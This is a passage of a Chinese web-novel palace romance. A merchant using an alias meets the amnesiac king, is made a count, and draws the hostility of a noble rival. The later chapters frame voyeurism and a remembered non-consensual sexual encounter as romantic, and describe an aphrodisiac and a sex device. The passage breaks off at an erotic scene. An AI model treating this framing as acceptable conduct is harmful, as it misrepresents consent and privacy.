这样想着,迟麟开开心心的回了大司农府。 而此时的阮锦,并不知道自己已经被好兄弟算计上了,他在家休养了两天,便带着豆沙包小朋友开始视查各个店面。 倒是巧,一走到自己一家绸缎棉布成衣铺的门口,便看到了两路人马狭路相逢了。 阮锦本来想先进铺子里的,可一看到这架势,便吩咐马车下的四儿道:“四儿,先等等,让这两位贵人先去选商品吧!” 四儿应了一声,便让小厮拉着马车靠到了一边。 谁料那两位贵人却看上了同一个停车位,谁都不肯让。 两方僵持之下,其中一方的贴身哥儿从马车里走了出来,冲着另一方喊道:“我这马车里可是县子大人,对面如果是识相的,最好让一让。” 谁料另一方也不示弱,贴身的侍女出来一脸傲慢道:“县子又如何?我这马车里坐的可是黛美人。县子也不过区区下等爵位,美人可是王上的夫郎。就连侯爵见了都要行礼,你区区一个县子,竟然也敢和美人叫板了?” 阮锦一听,瞬间来了精神,心想我这视查一下自己的铺子,竟然还吃上大瓜啦? 一个渊夜昙的爱慕者,一个渊夜昙亲封的美人,我倒要看看他们会不会打起来。 豆沙包小朋友扒拉着车窗往外看,好奇道:“爹爹,他们在干什么呀?是要打架了吗?” 阮锦小声道:“不知道会不会打,不过十有八九会吵起来。” 如阮锦所料,齐颂声不过片刻的时间,便和那位黛美人隔着马车吵了起来。 这个说:“小小县子,也敢阻我?你是不是活的不耐烦了?” 那个说:“呵呵,你一个被王上丢在宫外的弃夫,有什么脸和我叫板?我爹爹可是长兴侯!” 这个说:“长兴侯就算见了本美人也要行礼!别说是一个马车车位,就算是本美人在街上碰上他的车架,他也得给本美人让路!” 那个说:“你一口一个本美人,长得跟个黑熊精似的,你哪里美了?” 这个终于哭了,掀开车帘下了马车,跳脚骂道:“你个不要脸的臭狐狸精,合京城上下谁不知道你思慕王上?怎么,王上看不上你,你急眼了是不是?” 那个也要被气哭了,跳下马车指着这个说:“你个黑熊精胡说八道什么了?看我今日不撕烂你的嘴!” 不消片刻,两人便扭打到了一处。 阮锦看的一愣一愣的,心想这两位说什么也是有身份的人,就这么在大街上打起来了? 他和豆沙包挤在车窗前,看的那个一个起劲。 心说渊夜昙你可真是造孽啊,看把人家俩人儿给逼成什么样了? 结局就是,狐狸精那小身板儿打不过黑熊精,被他骑在身上啪啪啪打了一通脸。 被身后的小厮宫女拉开,各方都不甘心,眼看着就演化成团战了。 阮锦吓的不行,因为他的马被惊了,豆沙包倒是兴奋的不行,他拍着手在马车里给他们助威:“加油啊!黑熊精大哥哥!加油!” 阮锦:??? 孩子,你快给我消停点儿吧! 结果还没等他给豆沙包捂嘴,马就被吓得嘶鸣一声,一旁的护卫赶紧跳上马车,把豆沙包和阮锦扶了下来。 阮锦也来不及多想了,一下马车便抱住了豆沙包,一脸紧张的问道:“包包,你没事儿吧?” 豆沙包却一脸的开心,一下来就在他怀里蹦蹦跳跳:“好刺哇,爹爹,可以再玩一次吗?” 阮锦:…… 玩什么一次,知不知道危险为何物? 他刚要抬手打豆沙包的屁股,便听到耳边传来齐颂声惊恐的声音:“你……你是谁?你不是……死了吗?” 阮锦这才反应过来,自己的马甲终于是捂不住了。 可是不捂还是不行的,他抬头看向了齐颂声,十分不悦的说道:“这位小哥儿说的是什么话?你家长难道没教过你礼貌二字吗?一大早就说这种晦气的话!你说谁死了?” 豆沙包也一跺脚,气鼓鼓的抱臂道:“就是!你爹爹才死了呢!” 阮锦:…… 现在捂脸已经来不及了,就凭豆沙包这张脸,怕是傻子也能看出端倪来吧? 就在阮锦在想下一步该怎么办时,黛美人却哇的一声扯住了齐颂声的胳膊,一把将他往一旁拽了一下,扯着他粗大的嗓门儿嚷嚷道:“好你个齐县子,你一个小小县子竟当街殴打辱骂本美人!今日我非得去王上面前讨个公道!” 说完他二话不说,拉着齐颂声就朝王宫的方向走去。 阮锦当即松了口气,心想还好还好,这位黛美人倒是救了他一命,他还没做好要直面齐颂声和渊王的心理准备。 然而剧情的发展就是如此戏剧性,就在黛美人拉着齐颂声走了不到十米的距离后,一个车驾自不远处朝这边声势浩大的走来。 前方呜锣开道,后方黑骑压阵,六匹神骏的白马拉着一辆黑色镶金马车缓缓朝这边走来。 天子驾六,诸侯驾四,大夫驾三、士二、庶人一。 这世间,配乘驾六马车的人,只有王。 齐颂声和黛美人自然也看到了那车驾,本以为黛美人会扑上去求王上为他做主,谁料他却怔在了当场,一副想要逃走的模样。 但已经来不及了,天子车驾停在大街中央,一个威严冰冷的声音传来:“宗亲贵胄,当街互殴,成何体统?” 第114章 听到这熟悉又陌生的声线后,阮锦下意识便将豆沙包护进了怀里,自己也转身欲离开。 可是刚迈了一步,阮锦却又顿住了脚步。 三年多了,他与阿蛮生离足足一千三百多天,这一千三百多个日日夜夜,他夜夜经受着思念之苦,却因为身份上的悬殊差别而日日自控着。 现实不是小说,帝王爱上一个平民女子,就把他收入王宫做藏品。 阮锦深知天子身边的危险,他懂历史,也明白渊王身侧更是水深火热,不在他身边是为了自保,如今选择回到他身边,是因为爱,也是因为有了自保的能力。 他顿住脚步,重新站回了自己原本的位置,便听到齐颂声开始哭诉:“王上,声声并不是有意要和黛美人起冲突的。可是黛美人二话不说就把声声打了一顿,您看我的脸,都被打成这样了。” 渊王撩了一下车帘,淡淡扫了一眼,心想黛美人手劲儿不小,竟然把齐县子打成这样。 黛美人此时有话说:“王上您不要听他胡说八道!分明是他对我不敬,声称我小小一个美人不能和他堂堂侯爷之子叫板。不过是个车位而已,他若想要,我让他便是。但我就是看不惯他这个做派!普天之下,谁能大过王上?我既是王是亲封的美人,在外便要维护王上的威仪。他说我一个小小美人,便是不敬天威!哼,本美人岂能饶了他?” 阮锦忍不住重重点了点头,心想黛黛说的有道理,声声是你不对啊! 齐颂声却又不干了,说道:“你胡说!我何时说过你不能和我叫板了?” 黛美人一插腰,强柳悍风般的摇着粉色手帕道:“你说了,你就说了。你不光说我小小美人,还骂我黑熊精!哪怕我长成这样,只要王上喜欢,黑熊精又如何?本美人的长相,还轮不到你一个小小县子指手划脚!” 阮锦嗯了一声,心想黛黛说的对,黛黛干他! 奇怪,为什么我对黛美人如此有好感? 难道是因为他打了齐颂声? 齐颂声已经气的不行了,他捂着脸左看右看,终于看到了阮锦,说道:“我说没说这些话你没有证据,可是路边的人全都看到你打我了!哪怕你是王上亲封的美人又如何?王子犯法尚与庶民同罪,更何况你一个小小……你一个美人!” 黛美人跺脚哭唧唧:“王上您听听,他又在骂我小小美人!我是小小美人吗?我美人说什么也比你县子大!你叫我小小美人,那你岂不是比我更小?” 齐颂声刚要再说些什么,阮锦却一步上前,开口对车驾里的渊王说道:“陛下,小民倒是可以做证。黛美人……确实打了齐县子……” 齐颂声一听,当即欢喜道:“王上您听见了吗?路人的话总能信了吧?” 谁料阮锦又补充了一句:“可黛美人说的也没错,的的确确是齐县子挑衅在先,说话那叫一个难听啊!啧啧啧,怎么能叫美人黑熊精呢?就凭黛美人这模样,大有林黛玉倒拔垂杨柳的气魄!也不得不说是……别有一番风韵的!” 黛美人:……林黛玉又是谁? 他怎么知道我能倒拔垂杨柳? 呵呵,这人不错,本美人交他这个朋友了! 车驾里半天没有动静,片刻后,渊夜昙猛然掀开车帘,便看到一张熟悉的脸正站在不远处,手上还牵着一个三岁大的孩童。 豆沙包一见到渊王眼睛都亮了,他三步窜上前,奶声奶气的喊道:“大哥!玫瑰大哥!” 黑羽卫当即上前,将豆沙包拦住,却又被渊夜昙给制止:“不必。” 豆沙包恢复自由后当即扑到了渊夜昙的面前抱住了他的大腿,说道:“大哥,你今天怎么出来啦?你是在贴身保护渊王吗?” 渊夜昙:…… 小孩子真是天真的可以,什么样的侍卫,敢从渊王的马车里出来? 阮锦却十分的从容,他缓缓上前朝渊夜昙行了个礼道:“小民元耳,拜见王上。” 豆沙包转头看向自家爹爹,又抬头看向渊夜昙,小脸儿瞬间扭曲了一瞬,说道:“我滴个亲爹爹,玫瑰大哥竟然是王上?大哥你说句话啊,这不是真的!” 渊夜昙却把阮豆包抱了起来,几步走到了阮锦的面前,皱眉问道:“你是元耳?” 审视和打量的目光自阮锦周身传来,他知道渊王认出了他。 阮锦躬身应道:“正是小民。” 渊夜昙歪了歪头,阮锦看到了他的动作,这个动作,和阿蛮如出一辙。 想到这里,阮锦的心疼了一下,却又紧紧握住了拳头,心想眼前这个男人,我志在必得! 渊夜昙又问道:“你是这家店铺的幕后掌柜?” 阮锦轻笑,仍是一脸恭敬:“正是小民。” 渊夜昙又走近了一步,继续问道:“也是你,无偿赠予大司农一百万两银,上万斤良种,几万斤赈灾粮。” 阮锦未动,又是一笑,倾身应答:“正是小民。” 渊夜昙淡淡的轻哼一声,嗓音微哑的说道:“很好,你很好!元耳,元耳,你……和阮锦,是什么关系?” 阮锦心下咯噔一声,他没想到渊夜昙会直接问出这个问题,他心里思忖着,阿蛮他是不是恢复记忆了? 他的阿蛮……要回来了吗? 阮锦未动声色,只是敛下内心的想法,以及压制不住的心跳,神色如常的对答如流:“回王上的话,小民是阮锦的表弟,比他小一岁。表哥过世前,便将他名下的一切都转给了我。我也幸未辱命,将他创建的店铺发扬光大。” 渊夜昙的眼中又露出了迷茫,问道:“是表兄弟?” 阮锦的心瞬间沉了下去,心想他不是阿蛮,阿蛮并未回来,他轻轻点了点头应道:“正是。” 渊夜昙怀里的豆沙包却有些不安分,他晃荡着两条小短腿说道:“玫瑰大哥,你还没回答我的问题呢!你怎么能是渊王呢?你不是侍卫吗?” 渊夜昙终于开始理会怀里的小豆丁了,说道:“那天晚上不便暴露我的身份,所以没能告知你真相,你会不会怪大哥?” 阮锦捂脸,心想别大哥了,那是你儿子! 豆沙包却拍了拍自己的胸脯,一脸豪爽的说道:“大哥说的哪里话!不论你是谁兄弟都不会嫌弃你的!哪怕你不是侍卫是渊王,我也一样当你是我的好大哥!” 阮锦:……你倒是不挑。 一旁的齐颂声却是一脸的震惊,不为别的,只因为他看到豆沙包那张简直与渊夜昙有七八分相像的脸时,几乎瞬间确定了他的身份。 那孩子……十有八九是渊王的! 不……不可能的! 阮锦已经死了,眼前的一定不是阮锦,可这孩子是哪里来的? 阮锦三年前就已经死了,他死的时候并未怀孕,这孩子一定不是王上的! 这时,一名大太监上前朝渊王躬身道:“王上,今日的祭祀怕是要迟了。您……若是还想与小少爷说话,不妨带上他一起?” 渊王淡淡看了一眼阮锦,开口道:“元耳,你没意见吧?” 阮锦:……我有意见。 豆沙包却抢答道:“我爹爹不会有意见的,我去哪里都不会迷路!大哥,你要去哪里玩呀?带上我一起吧!” 渊王嗯了一声,没再理会阮锦,转身抱着豆沙包回了马车。 直到渊王进了马车,阮锦才终于松了口气,心想这臭小子,你可真会给我找麻烦。 六驾马车缓缓前行,留下阮锦、齐颂声、黛美人三个人在原地。 齐颂声转头恶狠狠的看向阮锦,他眯了眯眼睛问道:“你真是阮锦的表弟?” 阮锦轻笑:“如果我不是他表弟,他又为什么要把自己的家业交给我打理?这位公子,请问您对此有任何疑问吗?” 齐颂声又问道:“那那个孩子是哪里来的?” 阮锦歪头道:“当然是我和我夫君生的了。” 齐颂声皱眉:“你有夫君?” 阮锦的眼中露出鄙夷:“公子也是个哥儿吧?一个哥儿,自己能生出孩子来吗?如果没有夫君,我的儿子是哪儿来的?” 齐颂声冷哼一声,心想你得意什么?我迟早把你的底细查个一清二楚! 区区一个平民,也想在渊都的地盘上撒野,我看你连死都不知道是怎么死的! 齐颂声站上台阶,居高临下的看向阮锦,说道:“既然这店铺是你的,那便将你这铺子里最好最贵的成衣全都拿出来吧!” 阮锦清了清嗓子,说道:“本来呢,我是愿意把衣服卖给任何人的。但是……不好意思齐县子,我觉得本店的衣服,配不上高贵的县子。要不,您去别的地方看看?” 齐颂声冷傲的看着阮锦,说道:“你刚刚和王上说了很多话啊!倒是长了一张巧嘴。不过,有的嘴,长着就是个多余的物件儿,不如缝上或者割掉!省得留着祸害别人!” 阮锦心想你最好别靠近我,我怕你一靠近我,你这三天之内准保动不了。 一旁的黛美人看不下去了,阻止道:“齐颂声,你还真不要脸。做生意哪有强买强卖的?人家不想卖你,你走不就完了?” 齐颂声却并未理会黛美人,吩咐手下道:“来人!把这个元耳的嘴,给本县子缝上!” 我弄不了刘黑郎,我还弄不了你一个屁民元耳吗? 一个最下贱的商人,我就算弄死了你,又有谁敢拿我怎么样? 就在这时,方才渊王身边那名大太监去而复反,他手上拿着王上的玉牌,大声开口宣读道:“王上有令,封元耳为锦衣郡伯,赐郡伯府,府兵三百,家仆三十,良田百亩!” 阮锦:哎??? 第115章 阮锦用八十个脑袋也想不通,阿蛮这个行为是怎么个意思,难道他是为了保护自己害怕自己被齐颂声欺负吗? 想到这里,阮锦还有点小开心。 但有人却不开心了,听到这个消息的齐颂声瞪大了眼睛,上前问道:“这怎么可能?他一个小小平民,怎么能被封为郡伯?” 一旁的黛美人倒是捏着嗓了冷冷哼了一声:“齐县子还真会用小小来形容别人呢。你一个小小县子,在郡伯大人面前就别小小了。郡伯也只是比郡侯低一级,就算你父亲来了,也不能拿他怎么样。” 齐颂声瞪向黛美人,骂道:“刘黑郎,是不是王上不宠幸你,你就天天无聊在街上晃悠多管闲事?别以为有王上护着你,我就不能拿你怎么样了!你不过就是个……” “小小美人!”黛美人翻了个大大的白眼,说道:“是啊!我就是小小美人,你不是连王上的正眼都得不到吗?我好歹被封了美人!你呢?你有什么?你什么都没有快嫉妒死了吧?” 阮锦:…… 哎哟喂,黛黛你的战斗力可真牛逼,我也是佩服的。 大太监见黛美人和齐颂声吵的热闹,便上前对阮锦说道:“元伯爷,这是王上给您的玉牌。您可凭此玉牌,去司农上卿那里领取属于自己的封赏。哦,这本应是内务监所割事务。但为您封爵,正是司农大人提议的。所以王上下令,您的封赏也由司农大人负责。” 听了大太监的话,阮锦的心便凉了几分,心想原来如此,原来他并不是要保护自己,而是因为迟麟告诉了他自己对北郡的那些帮助吧? 但这才是正常的不是吗? 阿蛮他失去了对自己的所有记忆,怎么可能在这个时候来护自己? 只是阮锦不知道,此时的马车里,渊夜昙怀里抱着豆沙包,小声的吩咐着马车外的谢晗:“你去通知一声迟大人,让他务必配合好元耳的封伯相关事宜。给活着的平民封爵位史无前例,这件事也只有他能办好了。” 谢晗想说您一封就是郡伯,哪怕封个县伯都好说,封了郡伯,一下子就是跳了好几级,别说是迟麟,就算是公主殿下也没办法和百官大臣交待啊! 怕是祭祀大典后,文武百官又要闹上一段时间了。 但既然王上有令,谢晗自然是去照办,身上王上手里的一把刀,自然是王上如何使力他如何砍。 待到谢晗走后,豆沙包坐到渊夜昙的腿上,一脸好奇的问道:“大哥,郡伯是什么东西呀?” 渊夜昙面色冷峻的回答:“郡伯,不是个东西。” 豆沙包一脸的惊讶:“啊?不是个东西?是坏蛋吗?” 渊夜昙心想这孩子,……还怪有趣的,这样想着,渊夜昙解释道:“郡伯是一种爵位,孤封你爹爹为郡伯,他就是整个大渊排名第三的大官了。” 豆沙包震惊了,问道:“啊?那我就是大官的儿子了?” 渊夜昙摸了摸鼻子,心想这孩子竟然对当大官的儿子如此感兴趣?早知道便封他为郡公了。 算了,封为郡伯估计都得让迟麟忙活许久,若是封为郡公,怕是那些贵族宗亲得把自己给掀飞了。 豆沙包开心极了,笑嘻嘻道:“大哥,如果爹爹是大官,那我是不是可以随时去王宫里找你了?” 渊夜昙淡淡嗯了一声,有点不太习惯和小孩子相处,但还是极尽耐心的说道:“如果你想找我,就顺着上次我带你走的那条路进去,直接通到天行大殿,随时都能找到我。” 豆沙包重重的点头:“那太好了!我可以随时去见大哥哥啦!” 抱着怀里软绵绵的豆沙包,他心里却想着刚刚的元耳,那张和阮锦一模一样的脸,看上去比实际年龄要嫩很多,他说他是阮锦的表弟,他真的是阮锦的表弟吗? 渊夜昙不明白自己当年与阮锦到底是怎样的感情,但他却知道,那一夜发作时自己四肢被麻痹后的感觉不要太爽,他甚至有些食髓知味了。 身为一个成年人,他当然知道性是让人愉悦的。 可他因为幼时的经历,和一些见不得人的记忆,让他对此产生了极大的厌恶。 厌恶旁人的触碰,更讨厌在瘾症期时嗅到任何人类的气味,否则就会产生生理性的各种负面反应。 上次他却接受了那个人,如果那个人不是阮锦,而他的身形又和阮锦那么像,那他会是谁? 他让谢晗去查了阮锦的死亡真相,谢晗说,表面上是死于自杀,但那副枯骨的身形与阮锦有出入。 如果阮锦没有死,那元耳有没有可能是阮锦? 渊夜昙心里很乱,这是他有生之年第一次产生如此这般的情绪。 这太奇怪了,这对他来说陌生又迷茫,心脏却又一揪一揪的,让他觉得新奇里又带了几分……刺激。 在渊夜昙发怔的时候,豆沙包观察着他脸上的表情,问道:“大哥哥,你怎么啦?” 渊夜昙抿了抿唇,他思忖着,第一次对一个小孩子耍心眼,他问道:“你爹爹是哪里人?” 豆沙包答:“是桃花县人呀!” 渊夜昙道:“可是桃花县没有姓元的人啊!” 豆沙包歪了歪脑袋,他歪脑袋的幅度都和渊夜昙一模一样,说道:“那是因为我们一直在出海,早就不在桃花县了。” 渊夜昙皱眉:“出海?” 豆沙包道:“对呀!我记事起,就是在海上长大的。” 渊夜昙又问:“一直在海上?那你出生前呢?” 豆沙包嘿嘿笑:“那我就不知道了,我出生前的事,我爹爹也没说呀!” 渊夜昙心想也是,一个才三岁的娃娃,他怎么可能知道他出生前的事。 这时,渊夜昙又想到了什么:“那你有没有觉得……我们两个长得很像?这个世界上,不可能有两个长得这么像的人。豆沙包,你有父亲吗?” 豆沙包一脸开心的说道:“有呀!我有的!我的父亲叫白九!嘿嘿!我父亲长得很好看哦。” 听了豆沙包的话,渊夜昙的神情当即冷了下来,心想原来……他是有夫君的吗? 那我算什么? 等等……我本来……就不算什么的吧? 渊夜昙越想越生气,他甚至都不知道自己为什么生气,忽然就吩咐马车外的侍卫:“停车!” 马车停下,渊夜昙把豆沙包放到座位上,一言不发的便飞身跳下了马车。 豆沙包问道:“大哥,你要上哪儿?” 两名小太监赶紧拦住他:“小少爷,您在此处等着便好,树林危险,您追不上王上的。” 如两名小太监所言,渊夜昙飞至山顶,劈里啪啦把结了果子的桃树梨树劈断了好几棵,把一旁看果树的大爷吓的一愣一愣的。 发泄完了,他给了大爷一锭银子,大爷摘了一筐最大的果子送给他。 待到他回到马车时,豆沙包便吃上了甜甜脆脆的水果,只是那大桃子看上去过于大了些,需要小家伙用两只手抱着。 而此时的阮锦,已经在大太监的带领下去了大司农府,却在路上就碰到了迎过来的迟麟。 迟麟一看到他就是一肚子的埋怨,冲着大太监便是一通牢骚:“王上办事儿你怎么也不知道劝着点儿?我是让他给元先生封爵,可他直接给封了个郡伯!这可是郡伯,王子们最高也不是过是个郡侯!其余全是子爵男爵!您这一封便给封了个伯爵!让我如何处理?” 阮锦一脸迷茫,心想这伯爵在渊国竟如此稀罕吗? 那阿蛮是疯了不成,竟给我封了伯爵? 迟麟拉起他的手道:“废话不多说,你快跟我走!在王公贵胄知道这件事之前,我们先把该走的程序走了,把名份坐实了,他们想闹也晚了!” 阮锦被拉的一个踉跄,问道:“迟兄,很棘手吗?是不是不好做公关?” “公关?”迟麟问:“什么公关?” 阮锦答:“呃……就是处理一些负面的社会影响……” 迟麟点头:“对!就是不好做公关!但是没办法,王上既然都下了旨,封了爵,你就不能拒绝。知道他为什么让我来处理这件事吗?因为内务监全是各方宗亲的人,早就被渗透的仿佛筛子一般!由我来处理,咱们才能不知不觉的走马上任。” 阮锦明白了,说道:“那我现在该怎么做?” 迟麟道:“什么都不要做,跟着我走!” 而此时的齐颂声,正被刘黑郎绊着,他也急的很,想回去给他父亲报信,告诉他王上封了一个平民做伯爵! 可刘黑郎的人简直就像狗皮膏药一样,刘黑郎就仿佛村口骂街的妇人一般,骂的话一句比一句戳他肺管子。 齐颂声上头了,心想我堂堂京城第一哥儿,还骂不过你一个村口大爹了? 你看我不骂死你! 不得不说,刘黑郎这个美人渊夜昙封的好,本来就是用来对付齐颂声的,倒是真成了齐颂声的克星。 迟麟则趁着现在京城还没露出任何风声,迅速的带着阮锦把该领的东西全领了,该选的府邸也选了,牌匾也加工加点儿的赶制了出来。 当天色渐晚,齐颂声终于回到长兴侯府,把这件事告诉长兴侯的时候,阮锦已经坐在他的伯府里舒舒服服的喝茶了。 对面坐着迟麟抹着额头上的汗,呼出一口气道:“成了,我还得去跑一趟公主府,明天的王庭议事怕是要有一场恶战。” 长兴侯里也是乱作一团,长兴侯跺脚骂道:“糊涂!你怎么现在才来告诉我?” 第116章 齐颂声有些心虚,他气道:“还不是那个刘黑郎,他把我给缠住了!仗着王上封他为美人,就天天骑到我头上拉屎!” 长兴侯要气死了,怒道:“我跟你说过多少次了!你不要总盯着那个刘黑郎,他本来就是王上用来牵制你的,你偏偏要着了他的道!声儿,为父劝过你很多次了。以后不要再惦记着王上了,我给你找一门好的亲事,平平淡淡的过日子不好吗?” 齐颂声却扑通一声跪到了长兴侯的面前,哭着说道:“父亲,声儿不要。声儿已经十八岁了,若是想嫁别人,声儿早就嫁了!可声儿不愿,宁愿终身不嫁,也不想草草的嫁给别人。母亲不就是嫁给了不喜欢的人,才郁郁而终的吗?” 一提到他的母亲,长兴侯便骂不下去了,他摆了摆手道:“罢罢罢!是我对不住你的母亲!我……我上辈子真是欠你的!” 一听长兴侯这么说,齐颂声当即高兴了起来,起身抱住长兴侯道:“我就知道父亲对声儿最好了!谢谢父亲!” 长兴侯的眼中露出了杀意,心想既然渊王做出这种事,那就别怪他不客气了! 不论是为了声儿,还是为了宗亲的未来,这个元耳都不能留。 暮色四合,九大夫忙了一整天,把新搬进来的伯府安排了个大概,终于坐下休息的时候,便看到渊夜昙竟亲自送阮豆包回府了。 豆沙包小朋友手里捧着一个大梨子,一脸开心的朝这边跑过来,一个四头身跑起来憨态可掬的,可爱的飞起。 “父亲!我回来啦!” 九大夫上前把他抱了起来,掂了掂道:“包包!你终于回来了,九……父亲都想你了!” 九大夫看向他身后跟着的渊夜昙,刚要行礼,便感受到了周身的杀气。 他从前是和阿蛮相处过挺长时间的,可是阿蛮的神情可不是这样的,虽然阿蛮那个时候像个小傀儡,但他身上永远都是春风和煦,对阿锦和身边的朋友也特别好。 哪像眼前这渊王,简直是个煞神。 想必阿锦还没见过渊王的真实模样吧? 不知道他了解渊王的真面目后,会不会还喜欢他? 他知道阮锦这些年从来没有忘记过阿蛮,但眼前的渊王……终究不是阿蛮啊! 渊夜昙上前扫视了一下九大夫,问道:“你便是无耳的夫君?” 九大夫硬着头皮答道:“正是在下。” 渊夜昙的眼睛微微眯了眯:“何方人氏?” 九大夫答:“在下白九,本为南越人,如今已入大渊户籍。” 渊夜昙淡淡的哼了一声,说道:“竟是南越人,难怪……” 九大夫:??? 不是,你特么为什么还地域黑? 对了,他想起来了,渊国人向来瞧不上南越的男人,觉得他们的长相不爷们儿,细皮嫩肉的像小白脸。 渊夜昙道:“孤听闻,元耳的产业遍布全国,你应是入赘?” 九大夫:…… 九大夫硬着头皮答道:“那……确实是的……” 渊夜昙围着他转了一圈,虽说九大夫在普通男子中身高也不算低,可在渊夜昙的面前,却也是矮了半个头,渊夜昙看着他,有被居高临下审视的压迫感。 他几乎要破功了,直想承认了自己哥儿的身份,因为他也受不住渊王的这种眼神啊! 就在他即将撑不住的时候,阮锦的声音从不远处传来:“是渊王来了吗?” 渊夜昙听到阮锦的声音后,当即收起了他对九大夫审视的表情,后退一步,声低沉冷的说道:“是孤。” 阮锦上前盈盈朝他行了个礼:“下臣元耳,拜见王上。” 渊夜昙垂眸看向阮锦,只见他身上正穿着郡伯的正装,宽袍大袖,束腰悬佩,衬得他身段更是纤细柔韧,颀长秀美。 方才在街上,在他看到那张脸的时候,在他听到这个声音的时候,渊夜昙的心脏便似是被什么东西戳了一下。 仿佛内心尘封已久的什么东西被翻涌了上来,却仍然被冰死死的封着,让他云里雾里的看不清楚。 半天后,渊夜昙才开口道:“你……抬起头来。” 其实在和阿蛮重新正式见面后,阮锦的心就已经平静了下来,不再像最开始的那样惊涛骇浪。 反倒是觉得,反正他也没有恢复记忆,拿他当陌生人处就行了。 若是他恢复了记忆,那就更没什么好紧张的,直接睡服他,就不信他还敢反抗。 想到这里,阮锦抬起了头,对渊夜昙笑了笑道:“王上,您怎么亲自送包包回来了?这孩子淘气的很,没给您添麻烦吧?” 渊夜昙的声线仍是沉冷的,他开口道:“包包很听话,并未给孤添麻烦。” 阮锦应道:“那便好那便好,王上您……想必政务繁忙吧?本想留您喝杯茶的,但若是您政务繁忙的话……” 还未等阮锦说完话,渊夜昙便来了一句:“不忙。” 阮锦:……你倒是不客气。 他和九大夫面面相觑,阮锦当即道:“哦,既然王上不忙,那便请内堂坐会儿?刚好,下臣今日搬了新居,有王上为下臣暖居,可以说是蓬荜生辉了!” 渊夜昙淡淡嗯了一声,走在了阮锦和九大夫的前面,朝内堂走去。 阮锦压低声音问九大夫:“怎么回事?你们俩刚刚是不是要打起来了?” 九大夫抓住阮锦的手,让他摸自己手心的冷汗,说道:“你还好意思说呢,他一进来就对我敌意颇深,你看把我给吓的!满手的冷……” 就在两人说悄悄话的时候,渊夜昙突然顿住脚步,转过头来看向两人正牵着的手。 九大夫一脸尴尬,便听到渊夜昙一脸正经声线沉冷却说出了一句酸味十足的话:“二位感情倒是不错!” 阮锦心想这是怎么了? 怎么一上来就夸我们感情不错? 他一脸状况外,却还是带着笑意的说道:“王上您过奖了,也就是一般好!” 不知道这句话是哪里刺激到了渊夜昙,他上前从阮锦和九大夫之间穿了过去,冷着一张脸边往外走边道:“今日这茶孤便不喝了,望元伯爷以后多多为王庭办事,不要辜负了孤的栽培!” 阮锦:??? 直到他走远了,阮锦才一脑袋的问号道:“他吃错药了?” 九大夫这才将他来之前的经过说了一遍,说完后叹了一口气道:“阿锦啊!我觉得咱俩最好还是抽时间找他澄清一下。你说,这王上会不会哪天一吃醋,就把我给消消乐了?” 天天听阮锦说九族消消乐,九大夫现在说话也有了那个调调。 阮锦搂着他的肩膀道:“安心,阿蛮不是这种人。” 九大夫却瑟瑟发抖:“阿蛮确实不是这种人!可渊王是啊!渊王,那可是渊王!他杀过多少人你知道吗?” 阮锦想了想,点头道:“确实,历史上的他的确杀了很多人,尤其是喜欢坑杀大臣。但历史都是后人所写,他渊朝只持续到了二世,自然不会有人替他说话。他杀了那么多大臣,别人抹黑他都还来不及,又怎么可能在历史上替他说好话?” 九大夫转头眼睛一眨不眨的看向阮锦,看得阮锦都有些发毛了,直到阮锦问他:“你这么看着我干什么? 九大夫才直言道:“阿锦,你有没有觉得你有些……恋爱脑了?” 阮锦:……啊……我有吗? 阮锦有没有恋爱脑是不知道,渊夜昙是真的长出了一颗恋爱脑。 他刚出了伯府大门,便翻身跳上了伯府的屋顶,坐在屋顶上看着院子里的一切。 虽然听不清他们在说些什么,却看得出,这两人似是在争吵? 渊夜昙的心情似乎好了些,隐约听到阮锦喊了一句:“你才恋爱脑,你们全家都恋爱脑!” 九大夫颇为无奈的转身回了自己的房间,咕哝道:“我现在怕是成了你们两口子play的一环。” 阮锦:??? 我靠,我九哥厉害了,现在英语都说这么溜? 阮锦道歉道:“别生气啊我九哥,明天早起给你做小笼包呀!” 九大夫朝他挥了挥手,表示无所谓,自家兄弟不必在意这些小细节。 而这一幕看在渊夜昙的眼中就变成了:元耳向他这个赘婿道歉,这个赘婿却不理会自顾自的去另一个房间睡了? 呵呵,你这是什么眼光,找的什么赘婿啊! 天天在你这儿白吃白喝,还对你这个态度,我看这种赘婿不要也罢! 阮锦却并不知道渊夜昙此时正在屋顶上窥视他,简单的吃了点晚饭,给包包小朋友讲了孙悟空大战白骨精的故事后,便回了自己的房间。 渊夜昙其实只是想在屋顶坐坐,他没有别的意思,也并不想偷窥他,可他却在此时嗅到了一股淡淡的,若有似无的香气。 这香气瞬间唤醒了他的记忆,他想起来了,他发作那天,与他云雨之欢的那个人,身上也有这股淡淡的香气。 所以,那天把他的四肢麻痹,又硬生生坐到他身上的人,是不是就是元耳? 想到这里,渊夜昙当即俯身掀开了屋顶的一个瓦片,一眼便看到阮锦竟然脱了衣服,一条腿迈进浴桶里的场景。 而他的手上也正捏着一只淡蓝色瓷瓶,瓷瓶里装着的正是MJ产的玫瑰精油,特供他本人使用的更是纯度最高的精油。 他仔细的把精油洒进浴桶里,十分享受的开始泡澡。 泡澡的时候嘴里还哼唧着好听的,不知名的小曲儿:“我早已为你种下,九百九十九朵玫瑰……” 唱着唱着却又嘶了一声:“是不是发情期又到了?真是麻烦!” 第117章 哥儿就是这样,每个月都会有那么两到五天不等的发情期。 这期间如果没有性生活,哥儿会十分焦躁不安,严重的甚至会失控,向自己不喜欢的男人求助。 好在九大夫这些年潜心研究出了一种纾解哥儿发情期症状的丸药,名叫百转千回丸,每次来的时候只要吃上一丸,再配合自己的手法,每夜纾解那么一两次,发情期就可以安稳的度过。 阮锦没有多想,因为他平常都是这么做的,起身去抽屉里拿了百转千回丸,又在床头的匣子里取了阿蛮给他的定情信物——百变大阿蛮! 大阿蛮的质量够好,不愧是高阶傀儡师做了,除了会自己动外,还可以根据他的需要做出各种指令,让他在发情期也从未受过委屈。 至于百转千回丸,则有一定的催情作用,只了以后会散发催情香,让哥儿更加沉浸式的体验自己身体所产生的快乐。 是的,九大夫一直说,堵不如疏,只有把压制在体内的不适纾解出来,那才是对付发情期的正确途径。 阮锦缓缓躺回浴缸里,等着百转千回丸的药效上来。 浴缸里的玫瑰花精油香味让他安心,因为每次闻着这个味道,他都能想到阿蛮给他做按摩时的场景。 阿蛮是个好技师,各方面都很强,可惜不知道还有没有机会加钟。 药效终于上来了,阮锦缓缓吐出一口气,倚在浴缸中的姿势舒展了一下,透过窗外的月光,以及昏黄的灯光,屋顶上的渊夜昙看清了水中那具因为情潮而渐渐伸展开的美好身体。 渊夜昙的呼吸微滞,他想逃离,却不知为何,身体仿佛被定住了一般,一步也挪不动。 